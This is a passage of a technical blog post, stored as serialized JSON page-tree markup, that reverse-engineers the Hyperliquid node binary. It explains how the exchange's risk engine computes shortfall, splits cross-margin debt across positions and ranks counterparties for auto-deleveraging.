Name":165956},[2977],[165958],{"type":29,"value":165959},"notional",{"type":24,"tag":327,"props":165961,"children":165963},{"className":165962},[2977],[165964],{"type":29,"value":165949},{"type":24,"tag":327,"props":165966,"children":165968},{"className":165967},[3150],[165969],{"type":29,"value":3153},{"type":24,"tag":327,"props":165971,"children":165973},{"className":165972},[3043],[165974],{"type":24,"tag":327,"props":165975,"children":165978},{"className":165976,"style":165977},[3048],"height:0.8804em;",[165979],{"type":24,"tag":327,"props":165980,"children":165981},{},[],{"type":24,"tag":327,"props":165983,"children":165985},{"className":165984},[3143,120292],[],{"type":24,"tag":228,"props":165987,"children":165989},{"id":165988},"what-if-nobody-wants-to-buy-the-position",[165990],{"type":29,"value":165991},"What If Nobody Wants to Buy the Position?",{"type":24,"tag":25,"props":165993,"children":165994},{},[165995],{"type":29,"value":165996},"The market order from the previous section is just a regular order, and it still needs somebody on the other side of the book to fill it.\nIf the book is thin or the move was violent enough that every passive bid got swept, only part of it (or none) gets filled and equity will possibly keep on going down.",{"type":24,"tag":25,"props":165998,"children":165999},{},[166000,166002,166007],{"type":29,"value":166001},"When that happens, the exchange is basically left with a ",{"type":24,"tag":42,"props":166003,"children":166004},{},[166005],{"type":29,"value":166006},"hot potato",{"type":29,"value":166008}," to get rid of: what should it even do with the debt?",{"type":24,"tag":42085,"props":166010,"children":166012},{"id":166011},"the-risk-engine",[166013],{"type":29,"value":166014},"The Risk Engine",{"type":24,"tag":25,"props":166016,"children":166017},{},[166018],{"type":29,"value":166019},"And now we circle back to the risk engine: in order to keep all of these terrible traders from driving the system into ruin, we need some automatic way to prevent and clear bad debt.",{"type":24,"tag":228,"props":166021,"children":166023},{"id":166022},"clearing-up-bad-debt",[166024],{"type":29,"value":166025},"Clearing Up Bad Debt",{"type":24,"tag":25,"props":166027,"children":166028},{},[166029,166030,166037],{"type":29,"value":1713},{"type":24,"tag":57,"props":166031,"children":166034},{"href":166032,"rel":166033},"https://hyperliquid.gitbook.io/hyperliquid-docs/trading/auto-deleveraging",[61],[166035],{"type":29,"value":166036},"Hyperliquid docs",{"type":29,"value":166038}," explain that positions below 2/3 maintenance margin are backstop-liquidated into the HLP liquidator vault. When even that can't keep the book solvent, auto-deleveraging closes the position against opposing traders. What does that even mean?",{"type":24,"tag":25,"props":166040,"children":166041},{},[166042,166044,166055,166057,166063,166065,166071],{"type":29,"value":166043},"To get a better idea of what's going on here, we turn to the binary itself and trace the actual logic. A simple testnet sync gives us a lot of context: within the node's ABCI state, we can see a pretty complex structure named ",{"type":24,"tag":57,"props":166045,"children":166048},{"href":166046,"rel":166047},"https://hyperliquid.gitbook.io/hyperliquid-docs/hypercore/clearinghouse",[61],[166049],{"type":24,"tag":284,"props":166050,"children":166052},{"className":166051},[],[166053],{"type":29,"value":166054},"Clearinghouse",{"type":29,"value":166056},", a struct containing all liquidation-related info, nested within a bigger ",{"type":24,"tag":284,"props":166058,"children":166060},{"className":166059},[],[166061],{"type":29,"value":166062},"Exchange",{"type":29,"value":166064}," data structure. This is an example of what it might hold when serialized as ",{"type":24,"tag":284,"props":166066,"children":166068},{"className":166067},[],[166069],{"type":29,"value":166070},"MessagePack",{"type":29,"value":166072}," at runtime.",{"type":24,"tag":25,"props":166074,"children":166075},{},[166076],{"type":29,"value":166077},"This data will come in handy both for us and the agent.",{"type":24,"tag":166079,"props":166080,"children":166082},"file-download",{"path":166081},"/posts/hyperliquid-risk-engine/clearinghouse.json",[],{"type":24,"tag":25,"props":166084,"children":166085},{},[166086,166088,166093],{"type":29,"value":166087},"Now, when does the risk engine actually check positions? We can answer that question by playing around with xrefs starting from the known field strings in ",{"type":24,"tag":284,"props":166089,"children":166091},{"className":166090},[],[166092],{"type":29,"value":166054},{"type":29,"value":166094},". Some renaming later, we can infer something like this:",{"type":24,"tag":165773,"props":166096,"children":166100},{"source":166097,"target":166098,"direction":166099},"sub_555556262490","clearinghouse_adl_orchestrator","forward",[],{"type":24,"tag":25,"props":166102,"children":166103},{},[166104,166106,166111,166113,166119],{"type":29,"value":166105},"We have one huge function handling all clearinghouse operations, which we call ",{"type":24,"tag":284,"props":166107,"children":166109},{"className":166108},[],[166110],{"type":29,"value":166098},{"type":29,"value":166112},". It is invoked at the end of each block by a top-level method (called indirectly elsewhere, most likely a trait method) that we call ",{"type":24,"tag":284,"props":166114,"children":166116},{"className":166115},[],[166117],{"type":29,"value":166118},"exchange_end_block",{"type":29,"value":166120},". So, at the end of each block we run some checks.",{"type":24,"tag":165742,"props":166122,"children":166123},{},[166124],{"type":24,"tag":25,"props":166125,"children":166126},{},[166127],{"type":29,"value":166128},"Click on any address or line on the left side to get a detailed view of the decompilation or reconstructed source.",{"type":24,"tag":25,"props":166130,"children":166131},{},[166132,166134,166140],{"type":29,"value":166133},"ADL is meant as an emergency measure; unlike liquidations, it is not always operational. Note the branch on the recovered ",{"type":24,"tag":284,"props":166135,"children":166137},{"className":166136},[],[166138],{"type":29,"value":166139},"clearinghouse.perform_auto_deleveraging",{"type":29,"value":166141}," flag.",{"type":24,"tag":165773,"props":166143,"children":166147},{"addr":166144,"line-start":166145,"line-end":166146},"0x555556ac3850","3290","3301",[],{"type":24,"tag":25,"props":166149,"children":166150},{},[166151,166153,166158],{"type":29,"value":166152},"Most importantly, for it to act it must actually be needed. What does that mean according to the ",{"type":24,"tag":284,"props":166154,"children":166156},{"className":166155},[],[166157],{"type":29,"value":166054},{"type":29,"value":7437},{"type":24,"tag":235,"props":166160,"children":166162},{"id":166161},"threshold-condition",[166163],{"type":29,"value":166164},"Threshold Condition",{"type":24,"tag":25,"props":166166,"children":166167},{},[166168,166170,166175],{"type":29,"value":166169},"The natural connection between liquidations and ADL is ",{"type":24,"tag":42,"props":166171,"children":166172},{},[166173],{"type":29,"value":166174},"shortfall",{"type":29,"value":166176},": by how much a position, or the entire system (!), is underwater.",{"type":24,"tag":25,"props":166178,"children":166179},{},[166180],{"type":29,"value":166181},"If we could liquidate every position in time against willing buyers of the debt, there would be no systemic shortfall; ADL is triggered whenever that's not the case.",{"type":24,"tag":168,"props":166183,"children":166185},{"id":166184},"who-is-underwater",[166186],{"type":29,"value":166187},"Who Is Underwater?",{"type":24,"tag":25,"props":166189,"children":166190},{},[166191,166193,166198,166200,166206],{"type":29,"value":166192},"In order to determine that shortfall (or sum of bad debt), we process a useful tree of losing positions, built at the end of each block and passed to the ",{"type":24,"tag":284,"props":166194,"children":166196},{"className":166195},[],[166197],{"type":29,"value":166098},{"type":29,"value":166199},", starting from all user positions, which are stored in ",{"type":24,"tag":284,"props":166201,"children":166203},{"className":166202},[],[166204],{"type":29,"value":166205},"clearinghouse.user_states",{"type":29,"value":166207},", as we can also see from the serialization.",{"type":24,"tag":165742,"props":166209,"children":166210},{},[166211],{"type":24,"tag":25,"props":166212,"children":166213},{},[166214],{"type":29,"value":166215},"A graph can also branch, you know? Click around to view all possible paths from one function to another.",{"type":24,"tag":165773,"props":166217,"children":166221},{"source":166218,"target":166118,"direction":166219,"path":166220},"adl_init_user_position_iterators","backward","exchange_end_block,build_adl_candidate_set,adl_init_user_position_iterators",[],{"type":24,"tag":25,"props":166223,"children":166224},{},[166225,166226,166231,166233,166239,166241,166247,166249,166255],{"type":29,"value":1713},{"type":24,"tag":284,"props":166227,"children":166229},{"className":166228},[],[166230],{"type":29,"value":166218},{"type":29,"value":166232}," essentially turns that into an ",{"type":24,"tag":284,"props":166234,"children":166236},{"className":166235},[],[166237],{"type":29,"value":166238},"Iter",{"type":29,"value":166240},", then, inside of ",{"type":24,"tag":284,"props":166242,"children":166244},{"className":166243},[],[166245],{"type":29,"value":166246},"build_adl_candidate_set",{"type":29,"value":166248}," each entry is accounted either as a cross or isolated position, depending on the value of the ",{"type":24,"tag":284,"props":166250,"children":166252},{"className":166251},[],[166253],{"type":29,"value":166254},"AdlIterEntry",{"type":29,"value":65048},{"type":24,"tag":165773,"props":166257,"children":166259},{"type-name":166258},"AdlIterContext",[],{"type":24,"tag":25,"props":166261,"children":166262},{},[166263,166265,166271,166273,166279,166281,166287,166289,166294],{"type":29,"value":166264},"Note that in storage, ",{"type":24,"tag":284,"props":166266,"children":166268},{"className":166267},[],[166269],{"type":29,"value":166270},"Isolated",{"type":29,"value":166272}," positions have their own independent ",{"type":24,"tag":284,"props":166274,"children":166276},{"className":166275},[],[166277],{"type":29,"value":166278},"Entry",{"type":29,"value":166280}," in the position iterators, and ",{"type":24,"tag":284,"props":166282,"children":166284},{"className":166283},[],[166285],{"type":29,"value":166286},"Cross",{"type":29,"value":166288}," positions have a single common ",{"type":24,"tag":284,"props":166290,"children":166292},{"className":166291},[],[166293],{"type":29,"value":166278},{"type":29,"value":166295},", which will be spread across several perps. We will see many more branches to handle the two kinds of positions.",{"type":24,"tag":165773,"props":166297,"children":166300},{"addr":166298,"line-start":50972,"line-end":166299},"0x555556266b10","163",[],{"type":24,"tag":25,"props":166302,"children":166303},{},[166304],{"type":29,"value":166305},"Ultimately, we get an iterator of underwater users filtered with the following code path, meaning they couldn't be liquidated by the end of the block according to the earlier threshold.",{"type":24,"tag":165773,"props":166307,"children":166310},{"addr":166144,"line-start":166308,"line-end":166309},"506","527",[],{"type":24,"tag":25,"props":166312,"children":166313},{},[166314,166316],{"type":29,"value":166315},"After iterating over users, if the total losses are less than a predefined constant (hardcoded to $5M in the testnet state), we spare cross-margin positions and log ",{"type":24,"tag":166317,"props":166318,"children":166321},"bndb-xref",{"lines":166319,"addrs":166320},"1-2","0x555556ac3e18-0x555556ac3e18",[166322],{"type":29,"value":166323},"Not performing auto-deleveraging because shortfall={} is acceptable.",{"type":24,"tag":25,"props":166325,"children":166326},{},[166327,166329,166335,166337,166343,166345,166351,166353,166359],{"type":29,"value":166328},"Note that this insurance fund is not applied to every asset: while this isn't documented anywhere, markets referred to as ",{"type":24,"tag":284,"props":166330,"children":166332},{"className":166331},[],[166333],{"type":29,"value":166334},"only_isolated",{"type":29,"value":166336}," (or ",{"type":24,"tag":284,"props":166338,"children":166340},{"className":166339},[],[166341],{"type":29,"value":166342},"strict_isolated",{"type":29,"value":166344}," in MessagePack dumps) are added to a separate queue, ",{"type":24,"tag":284,"props":166346,"children":166348},{"className":166347},[],[166349],{"type":29,"value":166350},"deferred_queue",{"type":29,"value":166352},", which triggers ADL regardless of the system's ",{"type":24,"tag":284,"props":166354,"children":166356},{"className":166355},[],[166357],{"type":29,"value":166358},"total_shortfall",{"type":29,"value":166360},". This is dictated by this branch.",{"type":24,"tag":165773,"props":166362,"children":166365},{"addr":166144,"line-start":166363,"line-end":166364},"211","243",[],{"type":24,"tag":25,"props":166367,"children":166368},{},[166369,166371,166378],{"type":29,"value":166370},"Very interestingly, some of the assets that have this flag, at least on testnet, include HYPE (and other relevant tokens like ZRO, as well as JELLYJELLY from the ",{"type":24,"tag":57,"props":166372,"children":166375},{"href":166373,"rel":166374},"https://info.arkm.com/research/jellyjelly-exploit-on-hyperliquid",[61],[166376],{"type":29,"value":166377},"March 2025 incident",{"type":29,"value":166379},"). Historical metadata for Hyperliquid is very hard to come by, so take this with a pinch of salt when thinking about mainnet.",{"type":24,"tag":168,"props":166381,"children":166383},{"id":166382},"how-do-we-get-rid-of-debt",[166384],{"type":29,"value":166385},"How Do We Get Rid of Debt?",{"type":24,"tag":25,"props":166387,"children":166388},{},[166389],{"type":29,"value":166390},"Now we know whenever we have shortfall. What is to be done in that case? This is where different risk engines make different design choices: Hyperliquid chooses to apply a queue-based ADL (auto-deleveraging), meaning they forcefully close some winning positions in order to clear the debt of the losing traders.",{"type":24,"tag":25,"props":166392,"children":166393},{},[166394,166396,166401,166403,166408,166410,166415],{"type":29,"value":166395},"Thus, if the debt is insurmountable, the ",{"type":24,"tag":284,"props":166397,"children":166399},{"className":166398},[],[166400],{"type":29,"value":166350},{"type":29,"value":166402}," is overwritten by all the users marked by ",{"type":24,"tag":284,"props":166404,"children":166406},{"className":166405},[],[166407],{"type":29,"value":166246},{"type":29,"value":166409},", otherwise we keep it and only holders of underwater ",{"type":24,"tag":284,"props":166411,"children":166413},{"className":166412},[],[166414],{"type":29,"value":166342},{"type":29,"value":166416}," positions from the earlier loop are considered for ADL.",{"type":24,"tag":165742,"props":166418,"children":166419},{},[166420],{"type":24,"tag":25,"props":166421,"children":166422},{},[166423],{"type":29,"value":166424},"Note how verbose a simple key lookup can be when compiled in Rust.",{"type":24,"tag":165773,"props":166426,"children":166429},{"addr":166144,"line-start":166427,"line-end":166428},"523","526",[],{"type":24,"tag":25,"props":166431,"children":166432},{},[166433,166435,166441,166443,166449,166451,166456],{"type":29,"value":166434},"For each underwater position, we do a ",{"type":24,"tag":166317,"props":166436,"children":166438},{"addrs":166437},"0x555556ac42ad-0x555556ac42be",[166439],{"type":29,"value":166440},"B-tree lookup",{"type":29,"value":166442}," on ",{"type":24,"tag":284,"props":166444,"children":166446},{"className":166445},[],[166447],{"type":29,"value":166448},"clearinghouse.user_states[position.user]",{"type":29,"value":166450},", adding them to a ",{"type":24,"tag":284,"props":166452,"children":166454},{"className":166453},[],[166455],{"type":29,"value":5539},{"type":29,"value":166457}," of users (you would be amazed at how long the compilation of such a simple statement is). Also note the branch below, again on cross and isolated margin positions:",{"type":24,"tag":165773,"props":166459,"children":166462},{"addr":166144,"line-start":166460,"line-end":166461},"635","658",[],{"type":24,"tag":25,"props":166464,"children":166465},{},[166466],{"type":29,"value":166467},"The logic for cross margin positions is more complicated, because we're essentially asking the question of how to split a bankrupt user's total shortfall across their individual positions, so that we can absorb the right proportion of each position, which logically should be:",{"type":24,"tag":317,"props":166469,"children":166470},{},[166471],{"type":24,"tag":284,"props":166472,"children":166474},{"className":166473},[2949,165801],[166475],{"type":24,"tag":327,"props":166476,"children":166478},{"className":166477},[165806],[166479],{"type":24,"tag":327,"props":166480,"children":166482},{"className":166481},[2955],[166483],{"type":24,"tag":327,"props":166484,"children":166486},{"className":166485,"ariaHidden":2961},[2960],[166487],{"type":24,"tag":327,"props":166488,"children":166490},{"className":166489},[2966],[166491,166496],{"type":24,"tag":327,"props":166492,"children":166495},{"className":166493,"style":166494},[2971],"height:4.1904em;vertical-align:-1.8452em;",[],{"type":24,"tag":327,"props":166497,"children":166499},{"className":166498},[2977],[166500],{"type":24,"tag":327,"props":166501,"children":166504},{"className":166502},[166503],"mtable",[166505,166585],{"type":24,"tag":327,"props":166506,"children":166509},{"className":166507},[166508],"col-align-r",[166510],{"type":24,"tag":327,"props":166511,"children":166513},{"className":166512},[3037,3038],[166514,166573],{"type":24,"tag":327,"props":166515,"children":166517},{"className":166516},[3043],[166518,166568],{"type":24,"tag":327,"props":166519,"children":166522},{"className":166520,"style":166521},[3048],"height:2.3452em;",[166523,166546],{"type":24,"tag":327,"props":166524,"children":166526},{"style":166525},"top:-4.3452em;",[166527,166532],{"type":24,"tag":327,"props":166528,"children":166531},{"className":166529,"style":166530},[3058],"height:3.3944em;",[],{"type":24,"tag":327,"props":166533,"children":166535},{"className":166534},[2977],[166536],{"type":24,"tag":327,"props":166537,"children":166539},{"className":166538},[2977,29],[166540],{"type":24,"tag":327,"props":166541,"children":166543},{"className":166542},[2977],[166544],{"type":29,"value":166545},"position_weight",{"type":24,"tag":327,"props":166547,"children":166549},{"style":166548},"top:-2.2092em;",[166550,166554],{"type":24,"tag":327,"props":166551,"children":166553},{"className":166552,"style":166530},[3058],[],{"type":24,"tag":327,"props":166555,"children":166557},{"className":166556},[2977],[166558],{"type":24,"tag":327,"props":166559,"children":166561},{"className":166560},[2977,29],[166562],{"type":24,"tag":327,"props":166563,"children":166565},{"className":166564},[2977],[166566],{"type":29,"value":166567},"position_adl_amount",{"type":24,"tag":327,"props":166569,"children":166571},{"className":166570},[3150],[166572],{"type":29,"value":3153},{"type":24,"tag":327,"props":166574,"children":166576},{"className":166575},[3043],[166577],{"type":24,"tag":327,"props":166578,"children":166581},{"className":166579,"style":166580},[3048],"height:1.8452em;",[166582],{"type":24,"tag":327,"props":166583,"children":166584},{},[],{"type":24,"tag":327,"props":166586,"children":166589},{"className":166587},[166588],"col-align-l",[166590],{"type":24,"tag":327,"props":166591,"children":166593},{"className":166592},[3037,3038],[166594,166795],{"type":24,"tag":327,"props":166595,"children":166597},{"className":166596},[3043],[166598,166790],{"type":24,"tag":327,"props":166599,"children":166601},{"className":166600,"style":166521},[3048],[166602,166730],{"type":24,"tag":327,"props":166603,"children":166604},{"style":166525},[166605,166609],{"type":24,"tag":327,"props":166606,"children":166608},{"className":166607,"style":166530},[3058],[],{"type":24,"tag":327,"props":166610,"children":166612},{"className":166611},[2977],[166613,166617,166621,166626,166630],{"type":24,"tag":327,"props":166614,"children":166616},{"className":166615},[2977],[],{"type":24,"tag":327,"props":166618,"children":166620},{"className":166619,"style":2993},[2992],[],{"type":24,"tag":327,"props":166622,"children":166624},{"className":166623},[2998],[166625],{"type":29,"value":384},{"type":24,"tag":327,"props":166627,"children":166629},{"className":166628,"style":2993},[2992],[],{"type":24,"tag":327,"props":166631,"children":166633},{"className":166632},[2977],[166634,166638,166726],{"type":24,"tag":327,"props":166635,"children":166637},{"className":166636},[3121,120292],[],{"type":24,"tag":327,"props":166639,"children":166641},{"className":166640},[120297],[166642],{"type":24,"tag":327,"props":166643,"children":166645},{"className":166644},[3037,3038],[166646,166714],{"type":24,"tag":327,"props":166647,"children":166649},{"className":166648},[3043],[166650,166709],{"type":24,"tag":327,"props":166651,"children":166654},{"className":166652,"style":166653},[3048],"height:1.3944em;",[166655,166676,166687],{"type":24,"tag":327,"props":166656,"children":166657},{"style":165883},[166658,166662],{"type":24,"tag":327,"props":166659,"children":166661},{"className":166660,"style":118945},[3058],[],{"type":24,"tag":327,"props":166663,"children":166665},{"className":166664},[2977],[166666],{"type":24,"tag":327,"props":166667,"children":166669},{"className":166668},[2977,29],[166670],{"type":24,"tag":327,"props":166671,"children":166673},{"className":166672},[2977],[166674],{"type":29,"value":166675},"total_cross_notional",{"type":24,"tag":327,"props":166677,"children":166678},{"style":120347},[166679,166683],{"type":24,"tag":327,"props":166680,"children":166682},{"className":166681,"style":118945},[3058],[],{"type":24,"tag":327,"props":166684,"children":166686},{"className":166685,"style":120357},[120356],[],{"type":24,"tag":327,"props":166688,"children":166690},{"style":166689},"top:-3.7em;",[166691,166695],{"type":24,"tag":327,"props":166692,"children":166694},{"className":166693,"style":118945},[3058],[],{"type":24,"tag":327,"props":166696,"children":166698},{"className":166697},[2977],[166699],{"type":24,"tag":327,"props":166700,"children":166702},{"className":166701},[2977,29],[166703],{"type":24,"tag":327,"props":166704,"children":166706},{"className":166705},[2977],[166707],{"type":29,"value":166708},"position_notional",{"type":24,"tag":327,"props":166710,"children":166712},{"className":166711},[3150],[166713],{"type":29,"value":3153},{"type":24,"tag":327,"props":166715,"children":166717},{"className":166716},[3043],[166718],{"type":24,"tag":327,"props":166719,"children":166722},{"className":166720,"style":166721},[3048],"height:0.996em;",[166723],{"type":24,"tag":327,"props":166724,"children":166725},{},[],{"type":24,"tag":327,"props":166727,"children":166729},{"className":166728},[3143,120292],[],{"type":24,"tag":327,"props":166731,"children":166732},{"style":166548},[166733,166737],{"type":24,"tag":327,"props":166734,"children":166736},{"className":166735,"style":166530},[3058],[],{"type":24,"tag":327,"props":166738,"children":166740},{"className":166739},[2977],[166741,166745,166749,166754,166758,166768,166772,166777,166781],{"type":24,"tag":327,"props":166742,"children":166744},{"className":166743},[2977],[],{"type":24,"tag":327,"props":166746,"children":166748},{"className":166747,"style":2993},[2992],[],{"type":24,"tag":327,"props":166750,"children":166752},{"className":166751},[2998],[166753],{"type":29,"value":384},{"type":24,"tag":327,"props":166755,"children":166757},{"className":166756,"style":2993},[2992],[],{"type":24,"tag":327,"props":166759,"children":166761},{"className":166760},[2977,29],[166762],{"type":24,"tag":327,"props":166763,"children":166765},{"className":166764},[2977],[166766],{"type":29,"value":166767},"user_shortfall",{"type":24,"tag":327,"props":166769,"children":166771},{"className":166770,"style":3705},[2992],[],{"type":24,"tag":327,"props":166773,"children":166775},{"className":166774},[3710],[166776],{"type":29,"value":118036},{"type":24,"tag":327,"props":166778,"children":166780},{"className":166779,"style":3705},[2992],[],{"type":24,"tag":327,"props":166782,"children":166784},{"className":166783},[2977,29],[166785],{"type":24,"tag":327,"props":166786,"children":166788},{"className":166787},[2977],[166789],{"type":29,"value":166545},{"type":24,"tag":327,"props":166791,"children":166793},{"className":166792},[3150],[166794],{"type":29,"value":3153},{"type":24,"tag":327,"props":166796,"children":166798},{"className":166797},[3043],[166799],{"type":24,"tag":327,"props":166800,"children":166802},{"className":166801,"style":166580},[3048],[166803],{"type":24,"tag":327,"props":166804,"children":166805},{},[],{"type":24,"tag":25,"props":166807,"children":166808},{},[166809],{"type":29,"value":166810},"We do that here:",{"type":24,"tag":165773,"props":166812,"children":166815},{"addr":166144,"line-start":166813,"line-end":166814},"828","981",[],{"type":24,"tag":25,"props":166817,"children":166818},{},[166819,166820,166826,166828,166834],{"type":29,"value":1713},{"type":24,"tag":166317,"props":166821,"children":166823},{"lines":166822},"77-79",[166824],{"type":29,"value":166825},"inner loop",{"type":29,"value":166827}," above spans all ",{"type":24,"tag":284,"props":166829,"children":166831},{"className":166830},[],[166832],{"type":29,"value":166833},"(asset_idx, direction)",{"type":29,"value":166835}," held in the cross margin position.",{"type":24,"tag":25,"props":166837,"children":166838},{},[166839,166841,166847,166849,166855,166856,166862],{"type":29,"value":166840},"For isolated positions the computation is trivial, and we directly write the single position, with its shortfall, to the ",{"type":24,"tag":284,"props":166842,"children":166844},{"className":166843},[],[166845],{"type":29,"value":166846},"adl_output",{"type":29,"value":166848}," b-tree, which is the output of this transformation for both isolated and cross margin positions, containing both ",{"type":24,"tag":284,"props":166850,"children":166852},{"className":166851},[],[166853],{"type":29,"value":166854},"position_id",{"type":29,"value":1323},{"type":24,"tag":284,"props":166857,"children":166859},{"className":166858},[],[166860],{"type":29,"value":166861},"position_shortfall",{"type":29,"value":66},{"type":24,"tag":165773,"props":166864,"children":166867},{"addr":166144,"line-start":166865,"line-end":166866},"2377","2469",[],{"type":24,"tag":25,"props":166869,"children":166870},{},[166871,166873,166879],{"type":29,"value":166872},"Afterwards we can finally loop over the B-tree containing ",{"type":24,"tag":284,"props":166874,"children":166876},{"className":166875},[],[166877],{"type":29,"value":166878},"(position_id, cut)",{"type":29,"value":166880},", which essentially tells us exactly how much of each position needs to be closed, to be later deleveraged from a winning position.",{"type":24,"tag":25,"props":166882,"children":166883},{},[166884,166886,166891],{"type":29,"value":166885},"The final phase of ",{"type":24,"tag":284,"props":166887,"children":166889},{"className":166888},[],[166890],{"type":29,"value":166098},{"type":29,"value":166892}," iterates it, and for each key it builds a counterparty array, initially including all users holding positions, sorting them based on a per-asset ADL ranking score.",{"type":24,"tag":165773,"props":166894,"children":166897},{"addr":166144,"addr-start":166895,"addr-end":166896},"0x555556ac6d52","0x555556ac6de8",[],{"type":24,"tag":25,"props":166899,"children":166900},{},[166901],{"type":29,"value":166902},"How are positions chosen (sorted) to be deleveraged?",{"type":24,"tag":42085,"props":166904,"children":166906},{"id":166905},"who-do-we-deleverage",[166907],{"type":29,"value":166908},"Who Do We Deleverage?",{"type":24,"tag":25,"props":166910,"children":166911},{},[166912],{"type":29,"value":166913},"This question is essential to the solvency and fairness of a perp platform. It is clear why solvency is a priority here.",{"type":24,"tag":25,"props":166915,"children":166916},{},[166917],{"type":29,"value":166918},"But what do we mean by fairness? Colloquially, we can say that the relative wealth of accounts should not be affected by deleveraging.",{"type":24,"tag":25,"props":166920,"children":166921},{},[166922,166924,166931],{"type":29,"value":166923},"More formally, fairness can be given multiple related definitions; see ",{"type":24,"tag":57,"props":166925,"children":166928},{"href":166926,"rel":166927},"https://arxiv.org/abs/2512.01112",[61],[166929],{"type":29,"value":166930},"this paper",{"type":29,"value":166932},". We want to prove that the algorithm used in HL is not axiomatically fair in its implementation (as defined in prop. 6.1 of the paper).",{"type":24,"tag":25,"props":166934,"children":166935},{},[166936],{"type":29,"value":166937},"So, is Hyperliquid fair? Is it always solvent?",{"type":24,"tag":228,"props":166939,"children":166941},{"id":166940},"adl-score-computation",[166942],{"type":29,"value":166943},"ADL Score Computation",{"type":24,"tag":25,"props":166945,"children":166946},{},[166947,166949,166955,166957,166963,166965,166970],{"type":29,"value":166948},"The score function at ",{"type":24,"tag":284,"props":166950,"children":166952},{"className":166951},[],[166953],{"type":29,"value":166954},"compute_adl_ranking_score",{"type":29,"value":166956}," is core to answering this question. It's defined, most likely as an ",{"type":24,"tag":284,"props":166958,"children":166960},{"className":166959},[],[166961],{"type":29,"value":166962},"Ord",{"type":29,"value":166964}," implementation on some 20-byte address representation. A ",{"type":24,"tag":284,"props":166966,"children":166968},{"className":166967},[],[166969],{"type":29,"value":5539},{"type":29,"value":166971}," of those holds the possible counterparties to fill against, and the trait is used by the sort routines that order them by ranking score for each underwater position.",{"type":24,"tag":25,"props":166973,"children":166974},{},[166975,166977,166982,166984,166990,166992,166999,167001,167008],{"type":29,"value":166976},"Those sort routines are ",{"type":24,"tag":42,"props":166978,"children":166979},{},[166980],{"type":29,"value":166981},"generated by the compiler",{"type":29,"value":166983},": since Rust binaries include a lot of metadata by default in ",{"type":24,"tag":284,"props":166985,"children":166987},{"className":166986},[],[166988],{"type":29,"value":166989},".comment",{"type":29,"value":166991},", we may even manually ",{"type":24,"tag":57,"props":166993,"children":166996},{"href":166994,"rel":166995},"https://github.com/renato-osec/patina-research/tree/main/tools/chela",[61],[166997],{"type":29,"value":166998},"take advantage",{"type":29,"value":167000}," of this to recover the ",{"type":24,"tag":57,"props":167002,"children":167005},{"href":167003,"rel":167004},"https://github.com/rust-lang/rust/blob/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf/library/core/src/slice/sort/stable/mod.rs#L22-L29",[61],[167006],{"type":29,"value":167007},"exact source of library functions",{"type":29,"value":66},{"type":24,"tag":25,"props":167010,"children":167011},{},[167012,167014,167019],{"type":29,"value":167013},"Let's see how this ties back into the ",{"type":24,"tag":284,"props":167015,"children":167017},{"className":167016},[],[167018],{"type":29,"value":166098},{"type":29,"value":1636},{"type":24,"tag":165773,"props":167021,"children":167023},{"source":166098,"target":166954,"direction":166099,"path":167022},"clearinghouse_adl_orchestrator,driftsort_smallsort_insertion_by_adl_ranking,compute_adl_ranking_score",[],{"type":24,"tag":25,"props":167025,"children":167026},{},[167027],{"type":29,"value":167028},"And here's the main call site used for sorting:",{"type":24,"tag":165773,"props":167030,"children":167033},{"addr":166144,"line-start":167031,"line-end":167032},"2806","2814",[],{"type":24,"tag":228,"props":167035,"children":167037},{"id":167036},"ratio-1-effective-leverage",[167038],{"type":29,"value":167039},"Ratio 1: Effective Leverage",{"type":24,"tag":317,"props":167041,"children":167042},{},[167043],{"type":24,"tag":284,"props":167044,"children":167046},{"className":167045},[2949,165801],[167047],{"type":24,"tag":327,"props":167048,"children":167050},{"className":167049},[165806],[167051],{"type":24,"tag":327,"props":167052,"children":167054},{"className":167053},[2955],[167055],{"type":24,"tag":327,"props":167056,"children":167058},{"className":167057,"ariaHidden":2961},[2960],[167059,167090],{"type":24,"tag":327,"props":167060,"children":167062},{"className":167061},[2966],[167063,167067,167077,167081,167086],{"type":24,"tag":327,"props":167064,"children":167066},{"className":167065,"style":121829},[2971],[],{"type":24,"tag":327,"props":167068,"children":167070},{"className":167069},[2977,29],[167071],{"type":24,"tag":327,"props":167072,"children":167074},{"className":167073},[2977],[167075],{"type":29,"value":167076},"effective leverage",{"type":24,"tag":327,"props":167078,"children":167080},{"className":167079,"style":2993},[2992],[],{"type":24,"tag":327,"props":167082,"children":167084},{"className":167083},[2998],[167085],{"type":29,"value":384},{"type":24,"tag":327,"props":167087,"children":167089},{"className":167088,"style":2993},[2992],[],{"type":24,"tag":327,"props":167091,"children":167093},{"className":167092},[2966],[167094,167099],{"type":24,"tag":327,"props":167095,"children":167098},{"className":167096,"style":167097},[2971],"height:2.113em;vertical-align:-0.686em;",[],{"type":24,"tag":327,"props":167100,"children":167102},{"className":167101},[2977],[167103,167107,167202],{"type":24,"tag":327,"props":167104,"children":167106},{"className":167105},[3121,120292],[],{"type":24,"tag":327,"props":167108,"children":167110},{"className":167109},[120297],[167111],{"type":24,"tag":327,"props":167112,"children":167114},{"className":167113},[3037,3038],[167115,167190],{"type":24,"tag":327,"props":167116,"children":167118},{"className":167117},[3043],[167119,167185],{"type":24,"tag":327,"props":167120,"children":167122},{"className":167121,"style":165879},[3048],[167123,167144,167155],{"type":24,"tag":327,"props":167124,"children":167125},{"style":165883},[167126,167130],{"type":24,"tag":327,"props":167127,"children":167129},{"className":167128,"style":118945},[3058],[],{"type":24,"tag":327,"props":167131,"children":167133},{"className":167132},[2977],[167134],{"type":24,"tag":327,"props":167135,"children":167137},{"className":167136},[2977,29],[167138],{"type":24,"tag":327,"props":167139,"children":167141},{"className":167140},[2977],[167142],{"type":29,"value":167143},"account 